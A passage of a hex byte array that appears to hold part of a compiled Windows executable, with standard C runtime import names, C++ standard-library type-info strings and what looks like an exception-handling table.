0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x65, 0x72, 0x50, 0x72, 0x65, 0x73, 0x65, 0x6E, 0x74, 0x00, 0x3A, 0x00, 0x6D, 0x65, 0x6D, 0x63, 0x68, 0x72, 0x00, 0x00, 0x3B, 0x00, 0x6D, 0x65, 0x6D, 0x63, 0x6D, 0x70, 0x00, 0x00, 0x3C, 0x00, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x00, 0x00, 0x3D, 0x00, 0x6D, 0x65, 0x6D, 0x6D, 0x6F, 0x76, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x62, 0x61, 0x64, 0x5F, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x6C, 0x6F, 0x67, 0x69, 0x63, 0x5F, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x62, 0x61, 0x64, 0x5F, 0x63, 0x61, 0x73, 0x74, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x69, 0x6E, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x5F, 0x61, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x65, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x62, 0x61, 0x64, 0x5F, 0x61, 0x72, 0x72, 0x61, 0x79, 0x5F, 0x6E, 0x65, 0x77, 0x5F, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x74, 0x79, 0x70, 0x65, 0x5F, 0x69, 0x6E, 0x66, 0x6F, 0x40, 0x40, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x66, 0x69, 0x6C, 0x65, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x66, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x56, 0x3F, 0x24, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x6F, 0x72, 0x40, 0x44, 0x40, 0x32, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x69, 0x6F, 0x73, 0x5F, 0x62, 0x61, 0x73, 0x65, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x5F, 0x49, 0x6F, 0x73, 0x62, 0x40, 0x48, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x66, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x56, 0x3F, 0x24, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x6F, 0x72, 0x40, 0x44, 0x40, 0x32, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x6F, 0x73, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x94, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x3F, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x00, 0x00, 0x43, 0x10, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x70, 0x10, 0x00, 0x00, 0xB3, 0x10, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0x10, 0x11, 0x00, 0x00, 0x30, 0x11, 0x00, 0x00, 0x8C, 0xA6, 0x00, 0x00, 0x30, 0x11, 0x00, 0x00, 0x6D, 0x11, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x70, 0x11, 0x00, 0x00, 0xAD, 0x11, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xB0, 0x11, 0x00, 0x00, 0xC2, 0x11, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0xD0, 0x11, 0x00, 0x00, 0x34, 0x12, 0x00, 0x00, 0x9C, 0xA6, 0x00, 0x00, 0x70, 0x12, 0x00, 0x00, 0x90, 0x12, 0x00, 0x00, 0x8C, 0xA6, 0x00, 0x00, 0x90, 0x12, 0x00, 0x00, 0xCD, 0x12, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xD0, 0x12, 0x00, 0x00, 0xFF, 0x12, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x20, 0x13, 0x00, 0x00, 0x1D, 0x1A, 0x00, 0x00, 0xAC, 0xA6, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1B, 0x1B, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x20, 0x1B, 0x00, 0x00, 0x5D, 0x1B, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x60, 0x1B, 0x00, 0x00, 0x9D, 0x1B, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xA0, 0x1B, 0x00, 0x00, 0xD8, 0x1D, 0x00, 0x00, 0x10, 0xA7, 0x00, 0x00, 0xE0, 0x1D, 0x00, 0x00, 0x3B, 0x1E, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x40, 0x1E, 0x00, 0x00, 0x0F, 0x23, 0x00, 0x00, 0x70, 0xA7, 0x00, 0x00, 0x10, 0x23, 0x00, 0x00, 0xCD, 0x2E, 0x00, 0x00, 0xB4, 0xA7, 0x00, 0x00, 0xD0, 0x2E, 0x00, 0x00, 0x8E, 0x2F, 0x00, 0x00, 0x50, 0xA8, 0x00, 0x00, 0x90, 0x2F, 0x00, 0x00, 0x95, 0x31, 0x00, 0x00, 0x78, 0xA8, 0x00, 0x00, 0xA0, 0x31, 0x00, 0x00, 0xD9, 0x33, 0x00, 0x00, 0xB8, 0xA8, 0x00, 0x00, 0xE0, 0x33, 0x00, 0x00, 0x9E, 0x34, 0x00, 0x00, 0x50, 0xA8, 0x00, 0x00, 0xA0, 0x34, 0x00, 0x00, 0x39, 0x40, 0x00, 0x00, 0x18, 0xA9, 0x00, 0x00, 0x40, 0x40, 0x00, 0x00, 0x62, 0x40, 0x00, 0x00, 0xF0, 0xA9, 0x00, 0x00, 0x70, 0x40, 0x00, 0x00, 0xC0, 0x40, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0xC0, 0x40, 0x00, 0x00, 0x08, 0x41, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x10, 0x41, 0x00, 0x00, 0x5F, 0x41, 0x00, 0x00, 0x0C, 0xAA, 0x00, 0x00, 0x5F, 0x41, 0x00, 0x00, 0xEF, 0x41, 0x00, 0x00, 0x20, 0xAA, 0x00, 0x00, 0xEF, 0x41, 0x00, 0x00, 0x05, 0x42, 0x00, 0x00, 0x34, 0xAA, 0x00, 0x00, 0x10, 0x42, 0x00, 0x00, 0xE3, 0x42, 0x00, 0x00, 0x44, 0xAA, 0x00, 0x00, 0xF0, 0x42, 0x00, 0x00, 0xF6, 0x43, 0x00, 0x00, 0x58, 0xAA, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0xC7, 0x44, 0x00, 0x00, 0x70, 0xAA, 0x00, 0x00, 0xD0, 0x44, 0x00, 0x00, 0x2D, 0x45, 0x00, 0x00, 0x88, 0xAA, 0x00, 0x00, 0x2D, 0x45, 0x00, 0x00, 0x62, 0x45, 0x00, 0x00, 0x98, 0xAA, 0x00, 0x00, 0x62, 0x45, 0x00, 0x00, 0x12, 0x46, 0x00, 0x00, 0xAC, 0xAA, 0x00, 0x00, 0x20, 0x46, 0x00, 0x00, 0xF4, 0x48, 0x00, 0x00, 0xBC, 0xAA, 0x00, 0x00, 0x00, 0x49, 0x00, 0x00, 0x33, 0x49, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x33, 0x49, 0x00, 0x00, 0x4D, 0x49, 0x00, 0x00, 0xF4, 0xAA, 0x00, 0x00, 0x4D, 0x49, 0x00, 0x00, 0x65, 0x49, 0x00, 0x00, 0x08, 0xAB, 0x00, 0x00, 0x70, 0x49, 0x00, 0x00, 0x52, 0x4A, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0x60, 0x4A, 0x00, 0x00, 0xCF, 0x4A, 0x00, 0x00, 0x1C, 0xAB, 0x00, 0x00, 0xCF, 0x4A, 0x00, 0x00, 0xF9, 0x4B, 0x00, 0x00, 0x30, 0xAB, 0x00, 0x00, 0xF9, 0x4B, 0x00, 0x00, 0x17, 0x4C, 0x00, 0x00, 0x44, 0xAB, 0x00, 0x00, 0x60, 0x4C, 0x00, 0x00, 0xC9, 0x4C, 0x00, 0x00, 0x54, 0xAB, 0x00, 0x00, 0xD0, 0x4C, 0x00, 0x00, 0x28, 0x4D, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x30, 0x4D, 0x00, 0x00, 0x5C, 0x4E, 0x00, 0x00, 0x6C, 0xAB, 0x00, 0x00, 0x60, 0x4E, 0x00, 0x00, 0xED, 0x4F, 0x00, 0x00, 0x80, 0xAB, 0x00, 0x00, 0xF0, 0x4F, 0x00, 0x00, 0x6A, 0x50, 0x00, 0x00, 0x94, 0xAB, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, 0xC9, 0x52, 0x00, 0x00, 0x9C, 0xAB, 0x00, 0x00, 0xD0, 0x52, 0x00, 0x00, 0x87, 0x53, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x90, 0x53, 0x00, 0x00, 0xEF, 0x53, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xF0, 0x53, 0x00, 0x00, 0x2B, 0x54, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0x30, 0x54, 0x00, 0x00, 0xB9, 0x54, 0x00, 0x00, 0xB4, 0xAB, 0x00, 0x00, 0xC0, 0x54, 0x00, 0x00, 0xFB, 0x54, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x34, 0x55, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0x40, 0x55, 0x00, 0x00, 0xD2, 0x55, 0x00, 0x00, 0xD4, 0xAB, 0x00, 0x00, 0xE0, 0x55, 0x00, 0x00, 0x1E, 0x56, 0x00, 0x00, 0xE4, 0xAB, 0x00, 0x00, 0x20, 0x56, 0x00, 0x00, 0x55, 0x56, 0x00, 0x00, 0x00, 0xAC, 0x00, 0x00, 0x55, 0x56, 0x00, 0x00, 0xB4, 0x56, 0x00, 0x00, 0x10, 0xAC, 0x00, 0x00, 0xB4, 0x56, 0x00, 0x00, 0xF3, 0x56, 0x00, 0x00, 0x24, 0xAC, 0x00, 0x00, 0xF3, 0x56, 0x00, 0x00, 0x08, 0x57, 0x00, 0x00, 0x38, 0xAC, 0x00, 0x00, 0x10, 0x57, 0x00, 0x00, 0x2F, 0x57, 0x00, 0x00, 0x48, 0xAC, 0x00, 0x00, 0x2F, 0x57, 0x00, 0x00, 0x85, 0x57, 0x00, 0x00, 0x54, 0xAC, 0x00, 0x00, 0x85, 0x57, 0x00, 0x00, 0xC4, 0x57, 0x00, 0x00, 0x68, 0xAC, 0x00, 0x00, 0xD0, 0x57, 0x00, 0x00, 0xF4, 0x57, 0x00, 0x00, 0x78, 0xAC, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x3D, 0x59, 0x00, 0x00, 0x90, 0xAC, 0x00, 0x00, 0x40, 0x59, 0x00, 0x00, 0x9D, 0x59, 0x00, 0x00, 0xC0, 0xAC, 0x00, 0x00, 0x9D, 0x59, 0x00, 0x00, 0x85, 0x5A, 0x00, 0x00, 0xD0, 0xAC, 0x00, 0x00, 0x85, 0x5A, 0x00, 0x00, 0x8C, 0x5A, 0x00, 0x00, 0xE4, 0xAC, 0x00, 0x00, 0x8C, 0x5A, 0x00, 0x00, 0x92, 0x5A, 0x00, 0x00, 0xF8, 0xAC, 0x00, 0x00, 0x92, 0x5A, 0x00, 0x00, 0x98, 0x5A, 0x00, 0x00, 0xE4, 0xAC, 0x00, 0x00, 0xA0, 0x5A, 0x00, 0x00, 0xB2, 0x5A, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0xC0, 0x5A, 0x00, 0x00, 0x04, 0x5B, 0x00, 0x00, 0x08, 